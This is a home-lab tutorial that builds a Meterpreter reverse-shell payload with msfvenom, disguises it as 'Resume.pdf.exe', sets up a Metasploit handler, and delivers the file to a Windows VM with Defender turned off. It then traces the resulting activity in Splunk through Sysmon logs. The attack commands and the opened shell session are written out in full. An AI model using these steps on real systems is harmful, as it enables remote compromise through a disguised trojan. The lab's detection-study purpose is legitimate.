

## Looking at Telemetry in Splunk from Malware

### Procedure

The first step is to perform an nmap scan on the IP address of your choice, here I use my kali machine to scan the IP address of my windows machine. The command to do so is

***nmap -A "IP address" -Pn.***

- The -A command tells the scan to retrieve the OS system, the service version, and trace the path from the system to the target. The drawback of this is that it will require more time to complete.
- The -Pn command is to make sure the target is not pinged, only scanned. The purpose of this is that some firewalls may make it seem like a ping failed even when the target is online.

```
(kali㉿kali)-[~]
$ nmap -A 192.168.1.5 -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 14:25 EDT
Nmap scan report for 192.168.1.5 (192.168.1.5)
Host is up (0.0021s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
3389/tcp   open  ms-wbt-server  Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-4C49280
| Not valid before: 2025-07-27T18:07:45
|_Not valid after:  2026-01-26T18:07:45
| rdp-ntlm-info:
|   Target_Name: DESKTOP-4C49280
|   NetBIOS_Domain_Name: DESKTOP-4C49280
|   NetBIOS_Computer_Name: DESKTOP-4C49280
|   DNS_Domain_Name: DESKTOP-4C49280
|   DNS_Computer_Name: DESKTOP-4C49280
|   Product_Version: 10.0.19041
|_  System_Time: 2025-07-29T06:55:52+00:00
|_ssl-date: 2025-07-29T06:55:59+00:00; +12h30m00s from scanner time.
MAC Address: 08:00:27:1E:4C:E4 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)
```

Here we see that port 3389 is open, which is rdp.

Now we will use msfvenom to create malware and generate telemetry. The payload we will use is "windows/x64/meterpreter\_reverse\_tcp".

The command to run the malware is

```
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.1.4 lport 4444 -f exe -o Resume.pdf.exe
```

- The -p command signifies that a payload is going to be run.
- The lhost command refers to the attacker IP
- The lport command is the default port for meterpreter
- The -f command signifies that the file is an executable
- The -o command signifies the file name

```
(kali㉿kali)-[~]
$ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.1.4 lport=4444 -f exe -o Resume.pdf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 203846 bytes
Final size of exe file: 210432 bytes
Saved as: Resume.pdf.exe

(kali㉿kali)-[~]
$ ls
Desktop Documents Downloads Music Pictures Public Resume.pdf.exe Templates Videos

(kali㉿kali)-[~]
$ file Resume.pdf.exe
Resume.pdf.exe: PE32+ executable for MS Windows 4.00 (GUI), x86-64, 3 sections
```

Now that we created a binary, we need to open a handler to listen to the port set in the malware. We will do this by using Metasploit, which can be opened with the command **msfconsole**.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more
```

We can use the multi handler exploit by running the command

**use exploit/multi/handler**

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > █
```

The purpose of a multi handler is to catch the connection when the target runs the malware.

We can run the command **options** which will show what can be configured

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options

Payload options (generic/shell_reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name            |
|----|-----------------|
| 0  | Wildcard Target |



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > █
```

The payload option is set to generic/shell\_reverse\_tcp, we need to change it to the same payload that we used in msfvenom. This can be done with the command **set payload windows/x64/meterpreter/reverse\_tcp**

```
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Payload options (windows/x64/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    |                 | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:
```

The next step is to change the the LHOST to the attacker machine, which is the kali machine in this case. This can be done with the command **set lhost "ip address"**

```
msf6 exploit(multi/handler) > set lhost 192.168.1.4
lhost => 192.168.1.4
msf6 exploit(multi/handler) > options

Payload options (windows/x64/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.1.4	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Now we start the handler with the command **exploit** which starts listening for the windows machine to execute the malware.

The next step is to set a http server on kali so that the windows machine can download the malware. We can accomplish this by opening a new terminal and moving to the directory where our malware is located. Then we use the python command

**python3 -m http.server 9999**

- The -m command notifies the program to run the module as a script
- Make sure the specified port is not in use.

```
(kali@kali)-[~]
$ ls
Desktop  Downloads  Pictures  Resume.pdf.exe  Videos
Documents  Music      Public    Templates

(kali@kali)-[~]
$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
```

Now the windows machine can access the kali machine and download the malware.

The next steps are to move over to the windows machine and disable windows defender.

Once that is done, we need to access the malware file and download it. This can be done by opening a browser and entering the ip address of kali followed by the port specified in the python command.



- [Public/](#)
- [Resume.pdf.exe](#)
- [Templates/](#)

Once the file is downloaded and executed, open a command prompt with administrator privileges and run the command

### **netstat -anob**

- The netstat command shows network connection information.
- The -a command shows all connections and listening ports
- The -n command shows the IP addresses and port numbers in numeric form
- The -o command shows the process ID of each connection
- The -b command shows the executable name responsible for each connection

```
C:\Windows\system32>netstat -anob

Active Connections

  Proto Local Address           Foreign Address         State       PID
  TCP    0.0.0.0:135             0.0.0.0:0               LISTENING   944
  RpcSs
  [svchost.exe]
  TCP    0.0.0.0:445             0.0.0.0:0               LISTENING   4
  Can not obtain ownership information
  TCP    0.0.0.0:3389            0.0.0.0:0               LISTENING   940
  TermService
  [svchost.exe]
  TCP    0.0.0.0:5040            0.0.0.0:0               LISTENING   3332
  CDPSvc
  [svchost.exe]
  TCP    0.0.0.0:8000            0.0.0.0:0               LISTENING   3256
  [splunkd.exe]
  TCP    0.0.0.0:8089            0.0.0.0:0               LISTENING   3256
  [splunkd.exe]
```

Now we need to look through the results to find an established connection to the kali machine.

```
[msedge.exe]
  TCP    192.168.1.5:50676      192.168.1.4:4444       ESTABLISHED 2660
  [Resume.pdf.exe]
```

Now we can move back to the kali machine and see our handler pick up and open shell.

```
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Sending stage (203846 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.4:4444 → 192.168.1.5:50676) at 2025-07-28 15:14:25 -0400

meterpreter > █
```



Now run a couple commands.

Next we can head over to our Splunk dashboard, which has been configured with Sysmon, and query for our index.

The screenshot shows the Splunk 'New Search' interface. The search bar contains the query `index="endpoint"`. Below the search bar, it indicates 2,271 events found for the time range 7/28/25 1:00:00.000 AM to 7/29/25 1:21:31.000 AM. The 'Events' tab is selected, showing a list of search results. The first result is expanded, displaying a detailed XML event from Sysmon. The event data includes fields like `Time`, `Event`, `ProcessID`, `ThreadID`, `Channel`, `RuleName`, `UtcTime`, `ProcessId`, `Image`, `TargetFilename`, `CreationUtcTime`, `User`, `host`, `source`, and `sourcetype`.

Time	Event
7/29/25 1:21:24.445 AM	<Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385f-c22a-43e0-bf4c-06f5698ffbd9}'></Provider><EventID>11</EventID><Version>2</Version><Level>4</Level><Task>11</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2025-07-29T08:21:24.4686177Z'></TimeCreated><EventRecordID>19674</EventRecordID><Correlation><Execution ProcessID='3336' ThreadID='2140'></Execution><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>DESKTOP-4C49280</Computer><Security UserID='S-1-5-18'></Security></System><EventData><Data Name='RuleName'></Data><Data Name='UtcTime'>2025-07-29 08:21:24.445</Data><Data Name='ProcessGuid'>{7fd6532d-7f7b-6888-4b11-0000000000300}</Data><Data Name='ProcessId'>5992</Data><Data Name='Image'>C:\Program Files\Splunk\bin\splunkd.exe</Data><Data Name='TargetFilename'>C:\Program Files\Splunk\etc\users\va shrith\search\history\DESKTOP-4C49280.csv.e799b323d0fc18590cf5acddb0f9bc1f.tmp</Data><Data Name='CreationUtcTime'>2025-07-29 08:21:24.445</Data><Data Name='User'>NT AUTHORITY\SYSTEM</Data></EventData></Event>

If we query for our malware filename, we can identify the pid and process guid. With these, we can track what the malware file did on the system and each individual step it took.

The screenshot shows the Splunk 'New Search' interface with a more specific search query: `index="endpoint" | table _time,ParentImage,Image,CommandLine`. The search results are displayed in a table format, showing the time, parent image, image, and command line for several events. The events show the malware file `C:\Users\anony\Downloads\Resume.pdf.exe` running various commands like `net localgroup`, `net user`, and `ipconfig`.

_time	ParentImage	Image	CommandLine
2025-07-29 01:20:28.177	C:\Windows\System32\cmd.exe	C:\Windows\System32\net.exe	net localgroup
2025-07-29 01:20:24.292	C:\Windows\System32\cmd.exe	C:\Windows\System32\net.exe	net user
2025-07-29 01:20:00.651	C:\Windows\System32\cmd.exe	C:\Windows\System32\ipconfig.exe	ipconfig
2025-07-29 01:19:50.246			
2025-07-29 01:19:50.246	C:\Users\anony\Downloads\Resume.pdf.exe	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe

Here we can see what commands were run by the malware.